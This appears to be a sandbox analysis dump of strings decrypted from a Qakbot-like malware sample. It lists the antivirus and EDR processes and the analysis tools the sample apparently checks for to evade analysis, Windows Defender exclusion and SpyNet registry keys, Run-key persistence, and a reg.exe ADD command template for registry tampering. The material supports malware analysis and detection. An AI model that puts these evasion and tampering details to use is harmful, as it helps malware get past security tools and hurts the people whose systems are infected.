Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: from
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\sethc.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: netapi32.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\Utilman.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: gdi32.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: setupapi.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SELECT * FROM Win32_Processor
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: iphlpapi.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Caption
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: CrAmTray.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: ccSvcHst.exe;NortonSecurity.exe;nsWscSvc.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Win32_ComputerSystem
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\backgroundTaskHost.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %ProgramFiles%\Internet Explorer\iexplore.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Paths
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: user32.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: xagtnotif.exe;AppUIMonitor.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\dxdiag.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SentinelServiceHost.exe;SentinelStaticEngine.exe;SentinelAgent.exe;SentinelStaticEngineScanner.exe;SentinelUI.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: \sf2.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\grpconv.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: egui.exe;ekrn.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Software\Microsoft
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %S.%06d
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: bcrypt.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SELECT * FROM AntiVirusProduct
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\SndVol.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\explorer.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\Utilman.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows Defender\SpyNet
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: wtsapi32.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: t=%s time=[%02d:%02d:%02d-%02d/%02d/%d]
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\xwizard.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: shell32.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: TRUE
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Win32_Bios
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SELECT * FROM Win32_OperatingSystem
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\mobsync.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: c:\hiberfil.sysss
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: /
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\AtBroker.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: abcdefghijklmnopqrstuvwxyz
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: ByteFence.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: type=0x%04X
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: snxhk_border_mywnd
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: ROOT\CIMV2
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: dwengine.exe;dwarkdaemon.exe;dwwatcher.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: https
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\explorer.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: fshoster32.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: kernelbase.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: regsvr32.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %s\system32\
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\dxdiag.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Win32_Process
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: rundll32.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: LOCALAPPDATA
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: cmd.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: APPDATA
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: select
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: .exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SOFTWARE\Wow6432Node\Microsoft AntiMalware\SpyNet
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: mcshield.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: advapi32.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: ws2_32.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: .cfg
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: aabcdeefghiijklmnoopqrstuuvwxyyz
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Win32_Product
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: WQL
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: wininet.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: LastBootUpTime
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: S:(ML;;NW;;;LW)
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\CertEnrollCtrl.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: urlmon.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Create
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Win32_PnPEntity
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\grpconv.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Initializing database...
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\SearchIndexer.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: winsta0\default
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: .dat
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: WBJ_IGNORE
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: next
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\AtBroker.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: wpcap.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: aaebcdeeifghiiojklmnooupqrstuuyvwxyyaz
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\sethc.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Spynet
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: image/pjpeg
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: fmon.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: bdagent.exe;vsserv.exe;vsservppl.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\SndVol.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: vbs
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: aswhooka.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SysWOW64
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\mspaint.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: mpr.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: image/gif
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: crypt32.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: avgcsrvx.exe;avgsvcx.exe;avgcsrva.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: ntdll.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: open
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\explorer.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: CSFalconService.exe;CSFalconContainer.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\wextract.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\mobsync.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\SearchIndexer.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Caption,Description,Vendor,Version,InstallDate,InstallSource,PackageName
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Caption,Description,Vendor,Version,InstallDate,InstallSource,PackageName
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %u.%u.%u.%u.%u.%u.%04x
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\explorer.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SystemRoot
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: cscript.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: MBAMService.exe;mbamgui.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\xwizard.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\wermgr.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: AvastSvc.exe;aswEngSrv.exe;aswToolsSvc.exe;afwServ.exe;aswidsagent.exe;AvastUI.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: C:\INTERNAL\__empty
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: .dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Win32_PhysicalMemory
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: ALLUSERSPROFILE
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: image/jpeg
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: LocalLow
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: displayName
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Mozilla/5.0 (Windows NT 6.1; rv:77.0) Gecko/20100101 Firefox/77.0
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: shlwapi.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\WerFault.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: CommandLine
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: {%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: kernel32.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SubmitSamplesConsent
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: 1234567890
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: wbj.go
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\wextract.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Win32_DiskDrive
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: vkise.exe;isesrv.exe;cmdagent.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: System32
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Name
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\WerFault.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: WRSA.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: c:\\
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: reg.exe ADD "HKLM\%s" /f /t %s /v "%s" /d "%s"
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SpyNetReporting
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: FALSE
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: aswhookx.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Packages
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SonicWallClientProtectionService.exe;SWDash.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: application/x-shockwave-flash
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Sophos UI.exe;SophosUI.exe;SAVAdminService.exe;SavService.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: RepUx.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\mspaint.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Winsta0
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Caption,Description,DeviceID,Manufacturer,Name,PNPDeviceID,Service,Status
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: CynetEPS.exe;CynetMS.exe;CynetConsole.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\wermgr.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %ProgramFiles(x86)%\Internet Explorer\iexplore.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: avp.exe;kavtray.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: root\SecurityCenter2
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\backgroundTaskHost.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: MsMpEng.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\CertEnrollCtrl.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: userenv.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: csc_ui.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: frida-winjector-helper-32.exe;frida-winjector-helper-64.exe;tcpdump.exe;windump.exe;ethereal.exe;wireshark.exe;ettercap.exe;rtsniff.exe;packetcapture.exe;capturenet.exe;qak_proxy;dumpcap.exe;CFF Explorer.exe;not_rundll32.exe;ProcessHacker.exe;tcpview.exe;filemon.exe;procmon.exe;idaq64.exe;loaddll32.exe;PETools.exe;ImportREC.exe;LordPE.exe;SysInspector.exe;proc_analyzer.exe;sysAnalyzer.exe;sniff_hit.exe;joeboxcontrol.exe;joeboxserver.exe;ResourceHacker.exe;x64dbg.exe;Fiddler.exe;sniff_hit.exe;sysAnalyzer.exe;BehaviorDumper.exe;processdumperx64.exe;anti-virus.EXE;sysinfoX64.exe;sctoolswrapper.exe;sysinfoX64.exe;FakeExplorer.exe;apimonitor-x86.exe;idaq.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: \\.\pipe\
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: pstorec.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: NTUSER.DAT
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: from
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\sethc.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: netapi32.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\Utilman.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: gdi32.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: setupapi.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SELECT * FROM Win32_Processor
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: iphlpapi.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Caption
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: CrAmTray.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: ccSvcHst.exe;NortonSecurity.exe;nsWscSvc.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Win32_ComputerSystem
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\backgroundTaskHost.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %ProgramFiles%\Internet Explorer\iexplore.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Paths
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: user32.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: xagtnotif.exe;AppUIMonitor.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\dxdiag.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SentinelServiceHost.exe;SentinelStaticEngine.exe;SentinelAgent.exe;SentinelStaticEngineScanner.exe;SentinelUI.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: \sf2.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\grpconv.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: egui.exe;ekrn.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Software\Microsoft
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %S.%06d
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: bcrypt.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SELECT * FROM AntiVirusProduct
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\SndVol.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\explorer.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\Utilman.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows Defender\SpyNet
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: wtsapi32.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: t=%s time=[%02d:%02d:%02d-%02d/%02d/%d]
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\xwizard.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: shell32.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: TRUE
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Win32_Bios
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SELECT * FROM Win32_OperatingSystem
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\mobsync.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: c:\hiberfil.sysss
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: /
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\AtBroker.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: abcdefghijklmnopqrstuvwxyz
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: ByteFence.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: type=0x%04X
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: snxhk_border_mywnd
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: ROOT\CIMV2
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: dwengine.exe;dwarkdaemon.exe;dwwatcher.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: https
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\explorer.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: fshoster32.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: kernelbase.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: regsvr32.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %s\system32\
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\dxdiag.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Win32_Process
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: rundll32.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: LOCALAPPDATA
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: cmd.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: APPDATA
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: select
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: .exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SOFTWARE\Wow6432Node\Microsoft AntiMalware\SpyNet
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: mcshield.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: advapi32.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: ws2_32.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: .cfg
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: aabcdeefghiijklmnoopqrstuuvwxyyz
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Win32_Product
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: WQL
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: wininet.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: LastBootUpTime
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: S:(ML;;NW;;;LW)
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\CertEnrollCtrl.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: urlmon.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Create
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Win32_PnPEntity
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\grpconv.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Initializing database...
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\SearchIndexer.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: winsta0\default
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: .dat
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: WBJ_IGNORE
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: next
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\AtBroker.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: wpcap.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: aaebcdeeifghiiojklmnooupqrstuuyvwxyyaz
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\sethc.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Spynet
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: image/pjpeg
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: fmon.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: bdagent.exe;vsserv.exe;vsservppl.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\SndVol.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: vbs
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: aswhooka.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SysWOW64
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\mspaint.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: mpr.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: image/gif
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: crypt32.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: avgcsrvx.exe;avgsvcx.exe;avgcsrva.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: ntdll.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: open
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\explorer.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: CSFalconService.exe;CSFalconContainer.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\wextract.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\mobsync.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\SearchIndexer.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Caption,Description,Vendor,Version,InstallDate,InstallSource,PackageName

Source: photographed.dat.dll

